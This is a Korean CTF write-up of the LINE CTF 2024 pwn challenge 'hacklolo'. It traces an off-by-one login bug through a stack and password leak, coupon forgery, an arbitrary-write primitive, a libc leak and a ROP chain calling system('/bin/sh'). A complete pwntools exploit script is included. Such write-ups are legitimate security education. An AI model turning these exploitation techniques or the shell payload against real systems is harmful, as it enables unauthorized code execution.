CTF/2024

[CTF][2024] LINE CTF 2024 - hacklolo

pwn3r_45 2024. 4. 4. 23:20

문제개요

HackLoLo
Score : 305
Solve : 8
Category : Pwn
Servers : 35.200.72.53 9999

Connect : 
$ stty raw -echo; nc 35.200.72.53 9999

Terminal recovery : 
'reset' or 'stty sane'

Note

  • 팀원들 단체로 레이드 뛰어서 해결한 문제
  • 오랜만에 일반부 퍼블

Files

.
├── Dockerfile
├── README.md
├── desc.txt
├── docker-compose.yml
├── flag
├── game
└── nsjail.cfg

1. Analysis (game)

파일 정보

  • x64 elf binary
  • IDA Pro를 사용하여 분석
$ file game
game: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=15e168c551f03a36515933a318fe11606128ff98, for GNU/Linux 3.2.0, stripped

checksec

$ checksec --file=game
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH     Symbols         FORTIFY Fortified       Fortifiable
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols       No    0               2           

1.1. Concept

실행 화면 (기본)

  • 콘솔 게임 컨셉의 바이너리
  • 메뉴를 출력하고 사용자의 입력에 해당하는 기능을 실행
$ ./game 
-----------------------------------------------
Welcome!
-----------------------------------------------
-----------------------------------------------
1. Join 
2. Login
3. Quit
----------------------------------------------

Choice : 

실행 화면 - 1. Join (Before login)

  • id, password, email, age 를 입력하여 회원가입
-----------------------------------------------
1. Join 
2. Login
3. Quit
----------------------------------------------

Choice : 
1 
1. Id:
pwn3r
1. Pw:
pwn3r
1. Email:
pwn3r@pwn.3r
1. Age:
45
[*] A membership sign-up coupon has been issued : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE2MjM4NTYsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9._uh0EY7e-4umuPSt3jEN_MMIK8O5MILDjISy456wqL8

실행 화면 - 2. Login (Before login)

  • 가입할 때 사용한 id, password를 사용하여 로그인
-----------------------------------------------
1. Join 
2. Login
3. Quit
----------------------------------------------

Choice : 
2
id:
pwn3r
pw:
pwn3r
[*] Login Success. Hello, pwn3r

-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 

실행 화면 - 2. Play Game (After login)

  • 방향키로 Player(O)를 움직이며, Item(I)을 먹고, Enemy(E)를 공격해야 함
  • 기본적으로는 Player의 능력치가 매우 낮기 때문에 모든 아이템을 먹어도 Enemy를 이길 수 없음
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 2

Player HP: 100, Attack: 20, Defense:0 | Enemy HP: 1260, Attack: 102
Moving key : WASD | Attack : F
########################################################################
#                                                                      #
#                              E                                       #
#                             I                                        #
#       I                                                              #
#                                                      I               #
#       I                                                              #
#                                                                      #
#                                                                      #
#                                                                      #
#                                                                      #
#                                                                      #
#                                                                      #
#                                                                      #
#                                    I                                 #
#                              O                                       #
#                                                                      #
#                                                                      #
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|----------------------------------------|

실행 화면 - 3. Apply coupon (After login)

  • 가입 시 발급받은 쿠폰을 등록하여 player의 능력치를 강화
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 
3
[*] Enter your coupon : 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE2MjM4NTYsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9._uh0EY7e-4umuPSt3jEN_MMIK8O5MILDjISy456wqL8
You have successfully used the coupon. Attack power has been upgraded.

실행 화면 - 4. Coupon usage history (After login)

  • 사용된 쿠폰의 해시를 출력
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 
4
-----------------------------------------------
baaeb6570a5f460c4f35cbbd1b0f6d74780a3b57b50af82431392be18393103d
-----------------------------------------------

실행 화면 - 5. Change your PW / 6. Print your Information (After login)

  • 로그인한 사용자가 regular user가 아닐 경우 패스워드 변경 및 사용자 정보 출력 불가
-----------------------------------------------
..........................
5. Change your PW
..........................
-----------------------------------------------
Choice : 
5
[*] You are not a regular member. Win one game to become a regular member.
-----------------------------------------------
..........................
6. Print your Information
-----------------------------------------------
Choice : 
6
[*] You are not a regular member. Win one game to become a regular member.

1.2. Structures

struct user_info

00000000 user_info       struc ; (sizeof=0x68, mappedto_40)

00000000 password        string ?
00000020 username        string ?
00000040 mail            string ?
00000060 age             dq ?

00000068 user_info       ends

struct user_db

00000000 user_db         struc ; (sizeof=0xD70, mappedto_44)
00000000                                         ; XREF: main/r

00000000 users           user_info 32 dup(?)
00000D00 users_ptr       dq ?
00000D08 reg_users_count dq ?
00000D10 login_try_count dq ?
00000D18 login_flag      dd ?
00000D1C field_D1C       dd ?
00000D20 welcome_message string ?
00000D40 cur_user_info_ptr   dq ?
00000D48 login_success_count dq ?
00000D50 jwt_signature   string ?

00000D70 user_db         ends

1.3. Vulnerability (Out-of-bound memory access)

  • 사용자 정보 저장하는 user_list는 32개이지만, 로그인 기능에서 총 33개의 객체를 순회하기 때문에 user_list 뒤에 있는 "Welcome!"을 username으로 로그인할 수 있음
  v1 = std::operator<<<std::char_traits<char>>();
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::operator>><char>(&std::cin, &userid);
  v2 = std::operator<<<std::char_traits<char>>();
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  std::operator>><char>(&std::cin, &userpw);
  for ( i = 0; i <= 32; ++i )     // <============ improper loop boundary
  {
    get_user_name(&v15, &user_db->users[i].password);     // <============ OOB when i == 32
    v3 = std::operator==<char>((__int64)&v15, (__int64)&userid);
    std::string::~string(&v15);
    if ( v3 )
    {
      std::allocator_traits<std::allocator<std::_List_node<int>>>::select_on_container_copy_construction(
        (char *)v16,
        (char *)&user_db->users[i]);
      v4 = std::operator==<char>((__int64)v16, (__int64)&userpw);
      std::string::~string(v16);
      if ( v4 )
      {
        user_db->cur_user_info = (__int64)&user_db->users[i];
        get_user_name(&v14, &user_db->users[i].password);
        std::operator+<char>((__int64)&v15, (__int64)"[*] Login Success. Hello, ", (__int64)&v14);
        std::operator+<char>((__int64)v16, (__int64)&v15, (__int64)"\r");
        v5 = std::operator<<<char>(&std::cout, v16);
        std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
        std::string::~string(v16);
        std::string::~string(&v15);
        std::string::~string(&v14);
        ++user_db->login_success_count;
        user_db->login_flag = 1;
        v6 = 1;
        goto LABEL_8;
      }
    }
  }
  v7 = std::operator<<<std::char_traits<char>>();
  std::operator<<<char>(v7, &userid);
  v8 = std::operator<<<std::char_traits<char>>();
  std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  v6 = 0;
LABEL_8:
  std::string::~string(v13);
  std::string::~string(&userpw);
  std::string::~string(&userid);
  • users[32] 접근 시 각 멤버변수가 user_db에서 어떠한 멤버변수에 해당하는지 매핑
Offset users[32] user_db
0x00 users[32].password.ptr user_db.users_ptr
0x08 users[32].password.size user_db.reg_users_count
0x10 users[32].password.data[0:8] user_db.login_try_count
0x18 users[32].password.data[8:16] user_db.login_flag
0x20 users[32].username.ptr user_db.welcome_message.ptr
0x28 users[32].username.size user_db.welcome_message.size
0x30 users[32].username.data[0:8] user_db.welcome_message.data[0:8]
0x38 users[32].username.data[8:16] user_db.welcome_message.data[8:16]
0x40 users[32].email.ptr user_db.cur_user_info_ptr
0x48 users[32].email.size user_db.login_success_count
0x50 users[32].email.data[0:8] user_db.jwt_token.ptr
.... ................................ .........................
  • 바이너리 초기에 설정된 user_db.welcome_messageuser_info.username으로 사용됨
  std::string::operator=(&database->jwt_signature, v5);
  std::string::~string(v5);
  database->users_ptr = (__int64)&database->users[database->reg_users_count++];
  std::string::operator=(&database->welcome_message, "Welcome!");     // Initialize `user_db->welcome_message`
  return v6 - __readfsqword(0x28u);
}
  • user_db.users_ptruser[32].password.ptr로 사용됨
  • user_db.reg_users_count은 가입한 사용자의 수로 user[32].password.size로 사용됨
  • user_db.reg_users_count의 초기값은 1임 ("admin" user)
    => 패스워드는 user_db.users_ptr이 가리키는 값(admin password 주소)의 하위 1byte로 인식되므로 0~255까지 브루트포스하여 "Welcome!" username으로 로그인할 수 있음
RAX: 0x7fffffffd090 --> 0x7fffffffd0a0 --> 0x7fffffff00f0 --> 0x0 
RBX: 0x1 
RCX: 0x7fffffffd0a0 --> 0x7fffffff00f0 --> 0x0 
RDX: 0x7fffffffd010 --> 0x7fffffffd020 --> 0x61 ('a')
RSI: 0x7fffffffd010 --> 0x7fffffffd020 --> 0x61 ('a')
RDI: 0x7fffffffd090 --> 0x7fffffffd0a0 --> 0x7fffffff00f0 --> 0x0 
RBP: 0x7fffffffd0d0 --> 0x7fffffffdf80 --> 0x1 
RSP: 0x7fffffffcfd0 --> 0x7fffffffd050 --> 0x7ffff782b618 (:string::_Rep::_S_empty_rep_storage+24>:     0x0000000000000000)
RIP: 0x55555555bac1 (call   0x55555556443e)
R8 : 0x0 
R9 : 0x7ffff7829670 (:cin+16>:  0x00007ffff78228f8)
R10: 0x7ffff7613b10 --> 0xf0012000048da 
R11: 0x246 
R12: 0x7fffffffe098 --> 0x7fffffffe368 ("/home/user/gits/ctf_45/linectf24/hacklolo/work/game")
R13: 0x555555577d3e (endbr64)
R14: 0x5555555922d0 --> 0x55555555b320 (endbr64)
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x3010102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555bab7:      lea    rax,[rbp-0x40]
   0x55555555babb:      mov    rsi,rdx
   0x55555555babe:      mov    rdi,rax
=> 0x55555555bac1:      call   0x55555556443e
   0x55555555bac6:      mov    ebx,eax
   0x55555555bac8:      lea    rax,[rbp-0x40]
   0x55555555bacc:      mov    rdi,rax
   0x55555555bacf:      call   0x55555555a950 <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
Guessed arguments:
arg[0]: 0x7fffffffd090 --> 0x7fffffffd0a0 --> 0x7fffffff00f0 --> 0x0 
arg[1]: 0x7fffffffd010 --> 0x7fffffffd020 --> 0x61 ('a')
arg[2]: 0x7fffffffd010 --> 0x7fffffffd020 --> 0x61 ('a')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcfd0 --> 0x7fffffffd050 --> 0x7ffff782b618 (:string::_Rep::_S_empty_rep_storage+24>:    0x0000000000000000)
0008| 0x7fffffffcfd8 --> 0x7fffffffd1e0 --> 0x7fffffffd1f0 ("AOctV89e")
0016| 0x7fffffffcfe0 --> 0x7fffffffffffffff 
0024| 0x7fffffffcfe8 --> 0x20ffffd03a 
0032| 0x7fffffffcff0 --> 0x7fffffffd000 ("Welcome!")
0040| 0x7fffffffcff8 --> 0x8 
0048| 0x7fffffffd000 ("Welcome!")
0056| 0x7fffffffd008 --> 0x7fffffffd000 ("Welcome!")
[------------------------------------------------------------------------------]

2. Exploitation

Debugging Tip

  • pwntools 사용 시 interactive() 이후 출력이 안되는 문제가 있으므로, context.log_level을 낮추어 receive 데이터 확인
from pwn import *

context.log_level = 'debug'

............
[DEBUG] Received 0x12a bytes:
    00000000  5b 2a 5d 20  4c 6f 67 69  6e 20 53 75  63 63 65 73  │[*] │Logi│n Su│cces│
    00000010  73 2e 20 48  65 6c 6c 6f  2c 20 57 65  6c 63 6f 6d  │s. H│ello│, We│lcom│
    00000020  65 21 0d 0a  1b 5b 32 6d  2d 2d 2d 2d  2d 2d 2d 2d  │e!··│·[2m│----│----│
    00000030  2d 2d 2d 2d  2d 2d 2d 2d  2d 2d 2d 2d  2d 2d 2d 2d  │----│----│----│----│
    *
    00000110  2d 2d 2d 2d  2d 2d 2d 2d  2d 2d 2d 2d  2d 0d 0a 43  │----│----│----│-··C│
    00000120  68 6f 69 63  65 20 3a 20  0d 0a                     │hoic│e : │··│

2.1. Memory leak (stack)

  • 앞서 언급한 바와 같이 user_db.users_ptrusers[32].password.ptr로 사용됨 + user_db.reg_users_count은 가입한 사용자의 수이므로, Join 메뉴를 통해 계정을 1개씩 추가하면서 Welcome! 계정의 패스워드를 1byte씩 추가하며 브루트포스하면 user_db.users_ptr가 가리키는 스택 메모리 주소 및 admin 계정의 패스워드를 알아낼 수 있음
cur_password = b''
login_flag = False

bounary = 16 + 8
for index in range(0, bounary):
    prefix = cur_password
    for byte in range(0x0, 0x100):
        if byte in [ord('\t'), ord('\r'), ord('\n'), ord(' '), ord('\x0b'), ord('\x0c')]:
            continue
        login_flag = login('Welcome!', prefix + p8(byte))
        if login_flag:
            cur_password = prefix + p8(byte)
            logout()
            break
    if not login_flag:
        p.close()
        exit()
    if index != bounary - 1:
        join(str(index), str(index), str(index), index)
    print(index, hexlify(cur_password))
print(len(cur_password))
stack_leak = u64(cur_password[0:8]) - 0x10 # start address of `user_list`
print('stack_leak (start of user_list) : ', hex(stack_leak))
print('original password length : ', hex(u64(cur_password[8:16])))
print('admin password : ', cur_password[16:16+8])
1 b'40a5'
2 b'40a585'
3 b'40a5858e'
4 b'40a5858efc'
5 b'40a5858efc7f'
6 b'40a5858efc7f00'
7 b'40a5858efc7f0000'
8 b'40a5858efc7f000008'
9 b'40a5858efc7f00000800'
10 b'40a5858efc7f0000080000'
11 b'40a5858efc7f000008000000'
12 b'40a5858efc7f00000800000000'
13 b'40a5858efc7f0000080000000000'
14 b'40a5858efc7f000008000000000000'
15 b'40a5858efc7f00000800000000000000'
16 b'40a5858efc7f0000080000000000000058'
17 b'40a5858efc7f000008000000000000005847'
18 b'40a5858efc7f0000080000000000000058476d'
19 b'40a5858efc7f0000080000000000000058476d79'
20 b'40a5858efc7f0000080000000000000058476d796d'
21 b'40a5858efc7f0000080000000000000058476d796d75'
22 b'40a5858efc7f0000080000000000000058476d796d7536'
23 b'40a5858efc7f0000080000000000000058476d796d75367a'
24
stack_leak (start of user_list) :  0x7ffc8e85a530
original password length :  0x8
admin password :  b'XGmymu6z'

2.2. Coupon counterfeiting

  • 뒤에서 AAW(Arbitrary Address Write) 프리미티브를 얻기 위해서는 5. Change your PW 기능을 활성화 해야함
  • 5. Change your PW 기능 활성화를 위해서는 게임에서 enemy를 처치하여 regular user로 등록되어야 함
  • 하지만 게임 상에서 player의 기본 능력치는 매우 낮기 때문에, 쿠폰 등록 기능을 활용한 능력치 강화가 필요
  • 팀원 중 한분이 쿠폰의 마지막 문자를 변경하면 최대 4개까지 쿠폰을 추가할 수 있음을 확인 (* 대회 중에 원인을 파악하진 못함. 추후 리버싱해서 추가예정)
$ ./game
-----------------------------------------------
Welcome!
-----------------------------------------------
-----------------------------------------------
1. Join 
2. Login
3. Quit
----------------------------------------------

Choice : 
1
1. Id:
pwn3r
2. Pw:
pwn3r
3. Email:
pwn3r
4. Age:
45
[*] A membership sign-up coupon has been issued : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq4
-----------------------------------------------
1. Join 
2. Login
3. Quit
----------------------------------------------

Choice : 
2
id:
pwn3r
pw:
pwn3r
[*] Login Success. Hello, pwn3r
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 
3
[*] Enter your coupon : 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq4
You have successfully used the coupon. Attack power has been upgraded.
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 
3
[*] Enter your coupon : 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq5
You have successfully used the coupon. Attack power has been upgraded.
-----------------------------------------------

1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 
3
[*] Enter your coupon : 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq6
You have successfully used the coupon. Attack power has been upgraded.
-----------------------------------------------

1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 
3
[*] Enter your coupon : 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq7 
You have successfully used the coupon. Attack power has been upgraded.
-----------------------------------------------
1. Logout
2. Play Game
3. Apply coupon
4. Coupon usage history
5. Change your PW
6. Print your Information
-----------------------------------------------
Choice : 
3
[*] Enter your coupon : 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTE4ODY5NTUsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJwd24zciJ9.0UA8yuqCQWeT7ir2ktZUtzZ999ifUNO1K3LB1xyNsq8
[*] Wrong Coupon.
for i in range(0, 4):
    Apply_Token(coupon[:-1] + chr(coupon[-1]+i).encode())

2.3. Game

  • 4장의 쿠폰으로 player의 능력치를 강화한 후 item을 모두 먹고 enemy를 공격하면 게임에 승리할 수 있음
  • 팀원 중 알고리즘 장인 분께서 자동으로 게임해결해주는 코드를 작성
def map_solver(Iloc, Ep, Op):
    Ep = Ep[0]
    Op = Op[0]
    output = ""

    def mnhdist(p1, p2):
        return abs(p1[0]-p2[0])+abs(p1[1]-p2[1])

    for i in range(mnhdist(Ep, Op) - 1):
        output += "q"

    for i in range(16-Op[0]):
        output += "s"

    Op = (16, Op[1])
    clock = [{}, {}] # 0 : clock, 1: counter

    C = 0

    for i in range(69):
        clock[0][(0, i)] = (0, i+1)
        clock[1][(16, i)] = (16, i+1)
        clock[0][(16, i+1)] = (16, i)
        clock[1][(0, i+1)] = (0, i)

    for i in range(16):
        clock[0][(i, 69)] = (i+1, 69)
        clock[1][(i, 0)] = (i+1, 0)
        clock[0][(i+1, 0)] = (i, 0)
        clock[1][(i+1, 69)] = (i, 69)

    while True:
        if (Iloc[0][1] == Op[1]) and (Op[0] == 0):
            for i in range(16):
                output += "s"
            Op = (16, Op[1])
            Iloc = Iloc[1:]
        else:
            nxt = clock[0][Op]
            if nxt[0] > Op[0]:
                output += "s"
            elif nxt[0] < Op[0]:
                output += "w"
            elif nxt[1] < Op[1]:
                output += "a"
            else:
                output += "d"
            Op = nxt
        if len(Iloc) == 0:
            break
    return output

def readmap():
    I = []
    E = []
    O = []
    for __ in range(3):
        rline = p.recvuntil(b'\r')
    for i in range(18):
        rline = p.recvuntil(b'\r')
        rline = rline.split(b';')
        for v in rline:
            if b'HE' in v:
                E.append((i, int(v.split(b'HE')[0]) - 2))
            if b'HO' in v:
                O.append((i, int(v.split(b'HO')[0]) - 2))
            if b'HI' in v:
                I.append((i, int(v.split(b'HI')[0]) - 2))
            if f'\x1b[{i + 4}d#'.encode() in v.split(b' ')[0] and b'I' in v:
                I.append((i, int(len(v.split(b'#')[1].split(b'I')[0])) - 1))

    p.recvuntil(b'||')

    return (I, E, O)
p.sendlineafter(b'Choice : \r', b'2')

readmap()
readmap()
I, E, O = readmap()
print(I, E, O)

output = map_solver(I, E, O)

for move in output:
    p.send(move.encode())
    screen = p.recvuntil(b'||')

while 1:
    p.send(b'f')
    screen = p.recvuntil(b'||')
    if b'Game Over!' in screen:
        p.sendline(b'0')
        break

response = p.recvuntil(b':')
if b'Choice' in response and b'Would you like to become a regular member?' not in response:
    print('game over')
    exit(-1)

p.sendline(b'Y')

2.4. Arbitrary Address Write Primitive

  • 아래와 같은 방법으로 AAW primitive를 구현할 수 있음

1) 앞서 언급한 바와 같이 user_db.users_ptrusers[32].password.ptr로 사용되므로 "Welcome!" 사용자의 패스워드를 변경하면 &users[0].password에 있는 포인터 값이 변경됨. 공격자는 "Welcome!" 사용자의 패스워드를 destination address로 변경 (이때, size 필드를 write할 데이터의 사이즈로 조작해야 함)

login('Welcome!', '~~~~')
change_pw(p64(stack_leak+0xd48) + p32(2))    # destination address, size to write
logout()

2) "Welcome!" 사용자 로그아웃 후 "admin"으로 로그인하여 패스워드 변경하면 공격자가 지정한 destination address에 원하는 데이터를 write 가능 (단, "admin" 로그인 시 (1)에서 조작한 destination address가 가리키는 데이터를 패스워드로 입력해야 하므로, 공격자는 destination address가 가리키는 곳에 있는 데이터를 미리 알고있어야 한다는 전제조건이 있음)

login('admin', p16(0x19)) # (destination address)[:size to write]
change_pw(p16(0x300))     # overwrite
logout()

2.5. libc leak

  • AAW로 users[32].email.size 필드를 0x300으로 조작하여 스택 메모리를 덤프 -> libc 주소 획득
login('Welcome!', cur_password + p8(0))

..........................

change_pw(p64(stack_leak+0xd48) + p32(2))    # user_list[0].pw = user_list[32].email.size
logout()

login('admin', p16(0x19)) # current login count

change_pw(p16(0x300))     # user_list[32].email.size = 0x300 
logout()

login('Welcome!', p64(stack_leak+0xd48) + p32(2))
info = my_info()
libc = ELF('./libc.so.6')

libc_base = u64(info['email'][0xa8:0xa8+8]) - 0x29d90

*** 대회 중에는 놓쳤던 부분이지만 user_db.login_success_countusers[32].email.size로 사용되기 때문에, 굳이 AAW를 사용하지 않고 로그인을 여러번 시도 후 6. Print your Information 기능을 사용하는 것만으로도 stack 내 libc address leak이 가능했음 :(
libc leak에 많은 시간을 쓰지 않아서 다행 ***

Offset users[32] user_db
.... ................................ .........................
0x40 users[32].email.ptr user_db.cur_user_info_ptr
0x48 users[32].email.size user_db.login_success_count
0x50 users[32].email.data[0:8] user_db.jwt_token.ptr
.... ................................ .........................

2.6. Overwrite ROP Payload

  • libc, stack 주소를 알고있으며 , AAW 프리미티브를 가지고 있으므로 stack return address를 overwrite 하여 system("/bin/sh"); 호출
  • alignment를 맞춰주기 위해 ret 가젯 추가
libc = ELF('./libc.so.6')

libc_base = u64(info[0xa8:0xa8+8]) - 0x29d90
print(hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system'] 
pop_rdi = libc_base + 0x000000000002a3e5
ret = pop_rdi + 1

rop = b''
rop += p64(ret)*5
rop += p64(pop_rdi)
rop += p64(binsh)
rop += p64(system)

change_pw(p64(stack_leak + 0xda8)+p16(len(rop)))
logout()

print(info[0xa8:0xa8+len(rop)])
login('admin', info[0xa8:0xa8+len(rop)])
change_pw(rop)
input('>>>>>>>')
logout()

input('!!!!!!!')
login('Welcome!', p64(stack_leak + 0xda8)+p16(len(rop)))
change_pw(p64(stack_leak + 0x10)+p16(8))

2.9. return

  • rip 컨트롤을 위해 3. Quit 기능을 사용하여 main() 함수에서 return

python

logout()
quit()
s.interactive()

3. Exploit

3.1. exploit.py

  • 전체 exploit 코드는 아래와 같다.
from pwn import *
from binascii import hexlify, unhexlify

context.terminal = ['tmux', 'new-window']
context.newline = b'\r\n'

def join(id, pw, email, age):
    p.sendlineafter(b'Choice : ', b'1')
    p.sendlineafter(b'Id:', id.encode())
    p.sendlineafter(b'Pw:', pw.encode())
    p.sendlineafter(b'Email:', email.encode())
    p.sendlineafter(b'Age:', str(age).encode())
    p.recvuntil(b'[*] A membership sign-up coupon has been issued : ')
    coupon = p.recvuntil(b'\r').strip()
    return coupon

def login(id, pw):
    p.sendlineafter(b'Choice : \r', b'2')
    p.sendlineafter(b'id:\r', id.encode())
    p.sendlineafter(b'pw:\r', pw)
    if b'Success' in p.recvline():
        return True
    else:
        return False

def my_info():
    context.newline = b'\n'
    p.sendlineafter(b'Choice : \r', b'6')

    p.recvuntil(b'id :')
    user_id = p.recvline().strip()

    p.recvuntil(b'age :')
    user_age = p.recvline().strip()

    p.recvuntil(b'email :')
    user_email = p.recvline().strip()
    context.newline = b'\r\n'

    return {'id':user_id, 'age':user_age, 'email':user_email}

def logout():
    p.sendlineafter(b'Choice : ', b'1')

def quit():
    ru(b'Choice : \r')
    sl(b'3')

def Apply_Token(token):
    p.sendlineafter(b'Choice : ', b'3')
    p.sendlineafter(b'coupon : ', token)    

def map_solver(Iloc, Ep, Op):
    Ep = Ep[0]
    Op = Op[0]
    output = ""

    def mnhdist(p1, p2):
        return abs(p1[0]-p2[0])+abs(p1[1]-p2[1])

    for i in range(mnhdist(Ep, Op) - 1):
        output += "q"

    for i in range(16-Op[0]):
        output += "s"

    Op = (16, Op[1])
    clock = [{}, {}] # 0 : clock, 1: counter

    C = 0

    for i in range(69):
        clock[0][(0, i)] = (0, i+1)
        clock[1][(16, i)] = (16, i+1)
        clock[0][(16, i+1)] = (16, i)
        clock[1][(0, i+1)] = (0, i)

    for i in range(16):
        clock[0][(i, 69)] = (i+1, 69)
        clock[1][(i, 0)] = (i+1, 0)
        clock[0][(i+1, 0)] = (i, 0)
        clock[1][(i+1, 69)] = (i, 69)

    while True:
        if (Iloc[0][1] == Op[1]) and (Op[0] == 0):
            for i in range(16):
                output += "s"
            Op = (16, Op[1])
            Iloc = Iloc[1:]
        else:
            nxt = clock[0][Op]
            if nxt[0] > Op[0]:
                output += "s"
            elif nxt[0] < Op[0]:
                output += "w"
            elif nxt[1] < Op[1]:
                output += "a"
            else:
                output += "d"
            Op = nxt
        if len(Iloc) == 0:
            break
    return output

def readmap():
    I = []
    E = []
    O = []
    for __ in range(3):
        rline = p.recvuntil(b'\r')
    for i in range(18):
        rline = p.recvuntil(b'\r')
        rline = rline.split(b';')
        for v in rline:
            if b'HE' in v:
                E.append((i, int(v.split(b'HE')[0]) - 2))
            if b'HO' in v:
                O.append((i, int(v.split(b'HO')[0]) - 2))
            if b'HI' in v:
                I.append((i, int(v.split(b'HI')[0]) - 2))
            if f'\x1b[{i + 4}d#'.encode() in v.split(b' ')[0] and b'I' in v:
                I.append((i, int(len(v.split(b'#')[1].split(b'I')[0])) - 1))

    p.recvuntil(b'||')

    return (I, E, O)

def change_pw(new_pw):
    context.newline = b'\n'
    p.sendlineafter(b'Choice : \r', b'5')
    p.sendlineafter(b'PW? : \r', b'Y')
    p.sendlineafter(b'PW : \r', new_pw)
    context.newline = b'\r\n'

#p = process("./game", stdout=PIPE, stdin=PIPE, stderr=PIPE)
#p = remote("35.200.72.53", 9999)
p = remote('127.0.0.1', 9999)

ru = p.recvuntil
rl = p.recvline
rr = p.recv
sl = p.sendline
ss = p.send

cur_password = b''
login_flag = False

bounary = 16 + 8
for index in range(0, bounary):
    prefix = cur_password
    for byte in range(0x0, 0x100):
        if byte in [ord('\t'), ord('\r'), ord('\n'), ord(' '), ord('\x0b'), ord('\x0c')]:
            continue
        login_flag = login('Welcome!', prefix + p8(byte))
        if login_flag:
            cur_password = prefix + p8(byte)
            logout()
            break
    if not login_flag:
        p.close()
        exit()
    if index != bounary - 1:
        join(str(index), str(index), str(index), index)
    print(index, hexlify(cur_password))
print(len(cur_password))
stack_leak = u64(cur_password[0:8]) - 0x10 # start address of `user_list`
print('stack_leak (start of user_list) : ', hex(stack_leak))
print('original password length : ', hex(u64(cur_password[8:16])))
print('admin password : ', cur_password[16:16+8])

coupon = join('Welcome!', '1', '1', 1)
print(f'coupon: {coupon}')
login('Welcome!', cur_password + p8(0))

for i in range(0, 4):
    Apply_Token(coupon[:-1] + chr(coupon[-1]+i).encode())

p.sendlineafter(b'Choice : \r', b'2')

readmap()
readmap()
I, E, O = readmap()
print(I, E, O)

output = map_solver(I, E, O)

for move in output:
    p.send(move.encode())
    screen = p.recvuntil(b'||')

while 1:
    p.send(b'f')
    screen = p.recvuntil(b'||')
    if b'Game Over!' in screen:
        p.sendline(b'0')
        break

response = p.recvuntil(b':')
if b'Choice' in response and b'Would you like to become a regular member?' not in response:
    print('game over')
    exit(-1)

p.sendline(b'Y')

change_pw(p64(stack_leak+0xd48) + p32(2))    # user_list[0].pw = user_list[32].email.size
logout()

login('admin', p16(0x19)) # current login count

change_pw(p16(0x300))     # user_list[32].email.size = 0x300 
logout()

login('Welcome!', p64(stack_leak+0xd48) + p32(2))
info = my_info()
libc = ELF('./libc.so.6')

libc_base = u64(info['email'][0xa8:0xa8+8]) - 0x29d90
print(hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system'] 
pop_rdi = libc_base + 0x000000000002a3e5
ret = pop_rdi + 1

rop = b''
rop += p64(ret)*5
rop += p64(pop_rdi)
rop += p64(binsh)
rop += p64(system)

